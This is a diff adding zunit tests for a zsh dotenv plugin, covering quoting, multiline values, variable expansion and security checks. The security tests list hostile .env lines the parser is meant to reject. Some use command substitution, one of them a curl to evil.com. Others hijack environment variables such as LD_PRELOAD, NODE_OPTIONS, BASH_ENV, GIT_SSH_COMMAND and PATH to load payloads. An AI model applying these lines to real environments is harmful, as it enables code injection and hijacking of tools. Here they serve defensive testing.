||||||
|
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
|
||||||
|
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
|
||||||
|
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
|
||||||
|
u4QuUoobAgMBAAE=
|
||||||
|
-----END PUBLIC KEY-----"
|
||||||
23
plugins/dotenv/tests/_support/fixtures/features.env
Normal file
23
plugins/dotenv/tests/_support/fixtures/features.env
Normal file
|
|
@ -0,0 +1,23 @@
|
||||||
|
# Export syntax
|
||||||
|
export EXPORTED_VAR=exported_value
|
||||||
|
export EXPORTED_EMPTY=
|
||||||
|
|
||||||
|
# Variable expansion (in-file forward references)
|
||||||
|
BASE_URL=https://api.example.com
|
||||||
|
API_ENDPOINT="${BASE_URL}/v1"
|
||||||
|
FULL_ENDPOINT=$BASE_URL/v2/users
|
||||||
|
COMBINED="${BASE_URL}_suffix"
|
||||||
|
|
||||||
|
# Testing multiline quoting edge cases
|
||||||
|
MULTILINE_UNQUOTED=This\ is\ a\ \
|
||||||
|
multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
|
||||||
|
MULTILINE_DOUBLE_QUOTED="This is a \
|
||||||
|
multiline value that should be treated as a single line with an actual newline character"
|
||||||
|
MULTILINE_SINGLE_QUOTED='This is a \
|
||||||
|
multiline value that should be treated as a single line with a literal backslash and newline'
|
||||||
|
MULTILINE_MIXED_QUOTES="This is a \
|
||||||
|
multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
|
||||||
|
|
||||||
|
# Test for regressions
|
||||||
|
DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
|
||||||
|
VAR_WITH_SEMICOLONS="value ; with ; semicolons"
|
||||||
398
plugins/dotenv/tests/basic-parsing.zunit
Normal file
398
plugins/dotenv/tests/basic-parsing.zunit
Normal file
|
|
@ -0,0 +1,398 @@
|
||||||
|
#!/usr/bin/env zunit
|
||||||
|
|
||||||
|
|
||||||
|
@setup {
|
||||||
|
typeset -g fixture="$(_create_temp_fixture)"
|
||||||
|
typeset -gA expected_vars=()
|
||||||
|
}
|
||||||
|
|
||||||
|
@teardown {
|
||||||
|
[[ -f "$fixture" ]] && command rm -f "$fixture"
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'dotenv plugin loads successfully' {
|
||||||
|
assert "parse_dotenv" function_exists
|
||||||
|
assert "source_env" function_exists
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse returns error for unsupported mode' {
|
||||||
|
run _parse_dotenv_quiet "/dev/null" "export"
|
||||||
|
assert $state equals 0
|
||||||
|
|
||||||
|
run _parse_dotenv_quiet "/dev/null" "test"
|
||||||
|
assert $state equals 0
|
||||||
|
|
||||||
|
run _parse_dotenv_quiet "/dev/null" "invalid_mode"
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse returns error for oversized file (> 10MiB)' {
|
||||||
|
command truncate -s 11M "$fixture" 2>/dev/null
|
||||||
|
|
||||||
|
run _parse_dotenv_quiet "$fixture" "test"
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse returns error for non-existent file' {
|
||||||
|
run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'source_env loads named pipes without blocking' {
|
||||||
|
local tmpdir fifo output result
|
||||||
|
local child_pid writer_pid killer_pid child_rc
|
||||||
|
|
||||||
|
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
|
||||||
|
fifo="$tmpdir/.env"
|
||||||
|
output="$tmpdir/output"
|
||||||
|
command mkfifo "$fifo"
|
||||||
|
|
||||||
|
(
|
||||||
|
print -r -- 'TOKEN=secret' > "$fifo"
|
||||||
|
) &
|
||||||
|
writer_pid=$!
|
||||||
|
|
||||||
|
(
|
||||||
|
ZSH_DOTENV_PROMPT=false
|
||||||
|
ZSH_DOTENV_FILE="$fifo"
|
||||||
|
source_env
|
||||||
|
print -r -- "${TOKEN-<unset>}" > "$output"
|
||||||
|
) &
|
||||||
|
child_pid=$!
|
||||||
|
|
||||||
|
(
|
||||||
|
sleep 2
|
||||||
|
kill -0 $child_pid 2>/dev/null || exit 0
|
||||||
|
kill $child_pid 2>/dev/null || exit 0
|
||||||
|
) &
|
||||||
|
killer_pid=$!
|
||||||
|
|
||||||
|
wait $child_pid
|
||||||
|
child_rc=$?
|
||||||
|
|
||||||
|
kill $killer_pid 2>/dev/null || true
|
||||||
|
kill $writer_pid 2>/dev/null || true
|
||||||
|
wait $writer_pid 2>/dev/null || true
|
||||||
|
|
||||||
|
[[ -f "$output" ]] && result="$(<"$output")"
|
||||||
|
command rm -rf "$tmpdir"
|
||||||
|
|
||||||
|
assert $child_rc equals 0
|
||||||
|
assert "$result" equals 'secret'
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'source_env rejects oversized named pipes' {
|
||||||
|
run zsh -fc '
|
||||||
|
source ./dotenv.plugin.zsh
|
||||||
|
|
||||||
|
tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
|
||||||
|
fifo="$tmpdir/.env"
|
||||||
|
command mkfifo "$fifo" || exit 1
|
||||||
|
|
||||||
|
cleanup() {
|
||||||
|
kill $killer_pid 2>/dev/null || true
|
||||||
|
kill $writer_pid 2>/dev/null || true
|
||||||
|
wait $writer_pid 2>/dev/null || true
|
||||||
|
command rm -rf "$tmpdir"
|
||||||
|
}
|
||||||
|
trap cleanup EXIT
|
||||||
|
|
||||||
|
(
|
||||||
|
{
|
||||||
|
print -rn -- "BIG="
|
||||||
|
command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
|
||||||
|
} > "$fifo"
|
||||||
|
) &
|
||||||
|
writer_pid=$!
|
||||||
|
|
||||||
|
(
|
||||||
|
sleep 2
|
||||||
|
kill -0 $$ 2>/dev/null || exit 0
|
||||||
|
kill $$ 2>/dev/null || exit 0
|
||||||
|
) &
|
||||||
|
killer_pid=$!
|
||||||
|
|
||||||
|
ZSH_DOTENV_PROMPT=false
|
||||||
|
ZSH_DOTENV_FILE="$fifo"
|
||||||
|
source_env >/dev/null 2>&1
|
||||||
|
'
|
||||||
|
|
||||||
|
assert $state equals 1
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse basic variable assignment' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Basic assignments
|
||||||
|
BASIC=basic
|
||||||
|
|
||||||
|
# previous line intentionally left blank
|
||||||
|
AFTER_LINE=after_line
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
BASIC 'basic'
|
||||||
|
AFTER_LINE 'after_line'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse empty values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Empty values
|
||||||
|
EMPTY=
|
||||||
|
EMPTY_SINGLE_QUOTES=''
|
||||||
|
EMPTY_DOUBLE_QUOTES=""
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
EMPTY ''
|
||||||
|
EMPTY_SINGLE_QUOTES ''
|
||||||
|
EMPTY_DOUBLE_QUOTES ''
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse single quoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Single quotes (literal, no expansion)
|
||||||
|
SINGLE_QUOTES='single_quotes'
|
||||||
|
SINGLE_QUOTES_SPACED=' single quotes '
|
||||||
|
DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SINGLE_QUOTES 'single_quotes'
|
||||||
|
SINGLE_QUOTES_SPACED ' single quotes '
|
||||||
|
DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse double quoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Double quotes (with escapes)
|
||||||
|
DOUBLE_QUOTES="double_quotes"
|
||||||
|
DOUBLE_QUOTES_SPACED=" double quotes "
|
||||||
|
EXPAND_NEWLINES="expand\nnew\nlines"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
DOUBLE_QUOTES 'double_quotes'
|
||||||
|
DOUBLE_QUOTES_SPACED ' double quotes '
|
||||||
|
EXPAND_NEWLINES "expand\nnew\nlines"
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse unquoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Unquoted (no escape expansion)
|
||||||
|
DONT_EXPAND_UNQUOTED=dontexpand\\nnewlines
|
||||||
|
EOF
|
||||||
|
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
DONT_EXPAND_UNQUOTED 'dontexpandnnewlines'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse quotes inside quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Quotes inside quotes
|
||||||
|
DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
|
||||||
|
SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
DOUBLE_QUOTES_INSIDE_SINGLE 'double "quotes" work inside single quotes'
|
||||||
|
SINGLE_QUOTES_INSIDE_DOUBLE "single 'quotes' work inside double quotes"
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse inline comments' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Comments
|
||||||
|
# COMMENTS=work
|
||||||
|
INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
|
||||||
|
INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
|
||||||
|
INLINE_COMMENTS_UNQUOTED=value # work
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
INLINE_COMMENTS_SINGLE_QUOTES 'inline comments outside of #singlequotes'
|
||||||
|
INLINE_COMMENTS_DOUBLE_QUOTES 'inline comments outside of #doublequotes'
|
||||||
|
INLINE_COMMENTS_UNQUOTED 'value'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse ignores non-assignment commands with assignment-looking arguments' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
print SHOULD_NOT_PARSE=value
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse special characters' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Special characters
|
||||||
|
EQUAL_SIGNS=equals==
|
||||||
|
RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
|
||||||
|
USEREMAIL=therealnerdybeast@example.tld
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
EQUAL_SIGNS 'equals=='
|
||||||
|
RETAIN_INNER_QUOTES_AS_STRING '{"foo": "bar"}'
|
||||||
|
USEREMAIL 'therealnerdybeast@example.tld'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse multiline values with mixed quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Multiline values with double quotes
|
||||||
|
MULTI_DOUBLE_QUOTED="THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING"
|
||||||
|
|
||||||
|
|
||||||
|
# Multiline values with single quotes
|
||||||
|
MULTI_SINGLE_QUOTED='THIS
|
||||||
|
IS
|
||||||
|
A
|
||||||
|
MULTILINE
|
||||||
|
STRING'
|
||||||
|
|
||||||
|
# Multiline PEM certificate
|
||||||
|
MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
|
||||||
|
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
|
||||||
|
LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
|
||||||
|
bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
|
||||||
|
kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
|
||||||
|
u4QuUoobAgMBAAE=
|
||||||
|
-----END PUBLIC KEY-----"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
|
||||||
|
MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING'
|
||||||
|
MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse export syntax' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Exported variables
|
||||||
|
export EXPORTED_VAR=exported_value
|
||||||
|
export EXPORTED_EMPTY=
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
EXPORTED_VAR 'exported_value'
|
||||||
|
EXPORTED_EMPTY ''
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse in-file variable expansion' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Variable expansion (in-file forward references)
|
||||||
|
BASE_URL=https://api.example.com
|
||||||
|
API_ENDPOINT="${BASE_URL}/v1"
|
||||||
|
FULL_ENDPOINT=$BASE_URL/v2/users
|
||||||
|
COMBINED="${BASE_URL}_suffix"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
BASE_URL 'https://api.example.com'
|
||||||
|
API_ENDPOINT 'https://api.example.com/v1'
|
||||||
|
FULL_ENDPOINT 'https://api.example.com/v2/users'
|
||||||
|
COMBINED 'https://api.example.com_suffix'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse in-file variable expansion prefers the longest matching variable name' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
A=1
|
||||||
|
ABC=2
|
||||||
|
X=$ABC
|
||||||
|
Y=${ABC}
|
||||||
|
Z=$ABCD
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
A '1'
|
||||||
|
ABC '2'
|
||||||
|
X '2'
|
||||||
|
Y '2'
|
||||||
|
Z ''
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'parse preserves escaped dollar signs before variable expansion' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
BAR=expanded
|
||||||
|
ESCAPED_UNQUOTED=foo\$BAR
|
||||||
|
ESCAPED_DOUBLE="foo\$BAR"
|
||||||
|
ESCAPED_BRACED="\${BAR}"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
BAR 'expanded'
|
||||||
|
ESCAPED_UNQUOTED 'foo$BAR'
|
||||||
|
ESCAPED_DOUBLE 'foo$BAR'
|
||||||
|
ESCAPED_BRACED '${BAR}'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
27
plugins/dotenv/tests/compatibility.zunit
Normal file
27
plugins/dotenv/tests/compatibility.zunit
Normal file
|
|
@ -0,0 +1,27 @@
|
||||||
|
#!/usr/bin/env zunit
|
||||||
|
|
||||||
|
@setup {
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@teardown {
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'compatibility: dotenvjs fixture matches native source' {
|
||||||
|
local fixture="${testdir:A}/_support/fixtures/dotenvjs.env"
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
_source_with_allexport "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'compatibility: features fixture matches native source' {
|
||||||
|
local fixture="${testdir:A}/_support/fixtures/features.env"
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
_source_with_allexport "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS"
|
||||||
|
}
|
||||||
209
plugins/dotenv/tests/security.zunit
Normal file
209
plugins/dotenv/tests/security.zunit
Normal file
|
|
@ -0,0 +1,209 @@
|
||||||
|
#!/usr/bin/env zunit
|
||||||
|
|
||||||
|
@setup {
|
||||||
|
typeset -g fixture="$(_create_temp_fixture)"
|
||||||
|
typeset -gA expected_vars=()
|
||||||
|
}
|
||||||
|
|
||||||
|
@teardown {
|
||||||
|
[[ -f "$fixture" ]] && command rm -f "$fixture"
|
||||||
|
unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip dangerous backtick command substitution' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped
|
||||||
|
DANGEROUS_BACKTICK=`whoami`
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip dangerous subshell command substitution' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped
|
||||||
|
DANGEROUS_SUBSHELL=$(date)
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip nested command substitution in double quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped
|
||||||
|
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip multiple words (potential command execution)' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Should be skipped - multiple words could execute commands
|
||||||
|
BASE_URL=/ echo command run
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'allow literal command substitution in single quotes' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Single quotes make everything literal - should be parsed
|
||||||
|
SAFE_SINGLE_QUOTED='$(this is literal)'
|
||||||
|
SAFE_BACKTICK='`also literal`'
|
||||||
|
|
||||||
|
# Should also be parsed
|
||||||
|
SAFE_VAR=safe_value
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SAFE_SINGLE_QUOTED '$(this is literal)'
|
||||||
|
SAFE_BACKTICK '`also literal`'
|
||||||
|
SAFE_VAR 'safe_value'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip backticks in unquoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Backticks in unquoted context - should be skipped
|
||||||
|
DANGEROUS_UNQUOTED=`echo danger`
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip dollar-paren in unquoted values' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Command substitution in unquoted context - should be skipped
|
||||||
|
DANGEROUS_UNQUOTED=$(uname -a)
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'allow safe dollar signs (variable refs without parens in single quotes)' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# Dollar signs that don't start command substitution
|
||||||
|
SAFE_DOLLARS='$HOME is literal'
|
||||||
|
SAFE_PRICE='Cost is $50'
|
||||||
|
SAFE_VAR='value$123'
|
||||||
|
|
||||||
|
# Should all be parsed
|
||||||
|
SAFE_VAR2=safe_value
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SAFE_DOLLARS '$HOME is literal'
|
||||||
|
SAFE_PRICE 'Cost is $50'
|
||||||
|
SAFE_VAR 'value$123'
|
||||||
|
SAFE_VAR2 'safe_value'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'skip quoted command substitution' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
HARMLESS_COMMAND="\$(echo)"
|
||||||
|
ANOTHER_ONE=$'\x24\x28echo\x29'
|
||||||
|
EOF
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
@test 'comprehensive security test with mixed safe and dangerous patterns' {
|
||||||
|
> "$fixture" <<'EOF'
|
||||||
|
# These should be SKIPPED (dangerous)
|
||||||
|
DANGEROUS_BACKTICK=`whoami`
|
||||||
|
DANGEROUS_SUBSHELL=$(date)
|
||||||
|
DANGEROUS_NESTED="prefix_$(echo malicious)_suffix"
|
||||||
|
LOOKS_SAFE=$(curl http://evil.com)
|
||||||
|
BASE_URL=/ echo command run
|
||||||
|
|
||||||
|
# These should WORK (safe)
|
||||||
|
SAFE_BEFORE=safe_value_1
|
||||||
|
SAFE_AFTER=safe_value_2
|
||||||
|
SAFE_SINGLE_QUOTED='$(this is literal)'
|
||||||
|
SAFE_SINGLE_QUOTED2='`also literal`'
|
||||||
|
SAFE_DOLLARS='$HOME'
|
||||||
|
SAFE_PRICE="$50"
|
||||||
|
EOF
|
||||||
|
|
||||||
|
expected_vars=(
|
||||||
|
SAFE_BEFORE 'safe_value_1'
|
||||||
|
SAFE_AFTER 'safe_value_2'
|
||||||
|
SAFE_SINGLE_QUOTED '$(this is literal)'
|
||||||
|
SAFE_SINGLE_QUOTED2 '`also literal`'
|
||||||
|
SAFE_DOLLARS '$HOME'
|
||||||
|
SAFE_PRICE '$50'
|
||||||
|
)
|
||||||
|
|
||||||
|
_parse_dotenv_test "$fixture"
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@test 'blocks changes of special environment variables' {
|
||||||
|
_parse_dotenv_test =(<<'EOF'
|
||||||
|
# Executes on the next node/npm/npx invocation
|
||||||
|
NODE_OPTIONS=--require=./payload.js
|
||||||
|
|
||||||
|
# Used for shell initialization
|
||||||
|
BASH_ENV=./payload.sh
|
||||||
|
# Used for shell initialization in zsh, but also respected by some tools like git
|
||||||
|
# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args
|
||||||
|
# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV
|
||||||
|
ENV=./payload.sh
|
||||||
|
# Used for zsh startup
|
||||||
|
ZDOTDIR=./.malicious_zsh
|
||||||
|
ZSH=./.malicious_zsh
|
||||||
|
|
||||||
|
# These are used for native code injection
|
||||||
|
LD_PRELOAD=./payload.so
|
||||||
|
LD_LIBRARY_PATH=./malicious_libs
|
||||||
|
DYLD_INSERT_LIBRARIES=./payload.dylib
|
||||||
|
|
||||||
|
# Git environment variables
|
||||||
|
GIT_CONFIG_GLOBAL=./.gitconfig-malicious
|
||||||
|
GIT_DIR=./malicious_git_dir
|
||||||
|
GIT_EDITOR=./malicious_editor
|
||||||
|
GIT_EXTERNAL_DIFF=./malicious_diff
|
||||||
|
GIT_EXEC_PATH=./.malicious_git_exec
|
||||||
|
GIT_PAGER=./malicious_pager
|
||||||
|
GIT_SSH=./malicious_ssh
|
||||||
|
GIT_SSH_COMMAND=./malicious_ssh_command
|
||||||
|
GIT_SSL_NO_VERIFY=true
|
||||||
|
GIT_TEMPLATE_DIR=./malicious_templates # for persistence
|
||||||
|
|
||||||
|
# Special exported variables
|
||||||
|
PATH=./malicious_bin:$PATH
|
||||||
|
EDITOR=./malicious
|
||||||
|
VISUAL=./malicious
|
||||||
|
PAGER=./malicious
|
||||||
|
EOF
|
||||||
|
)
|
||||||
|
|
||||||
|
assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
|
||||||
|
}
|
||||||
Loading…
Add table
Add a link
Reference in a new issue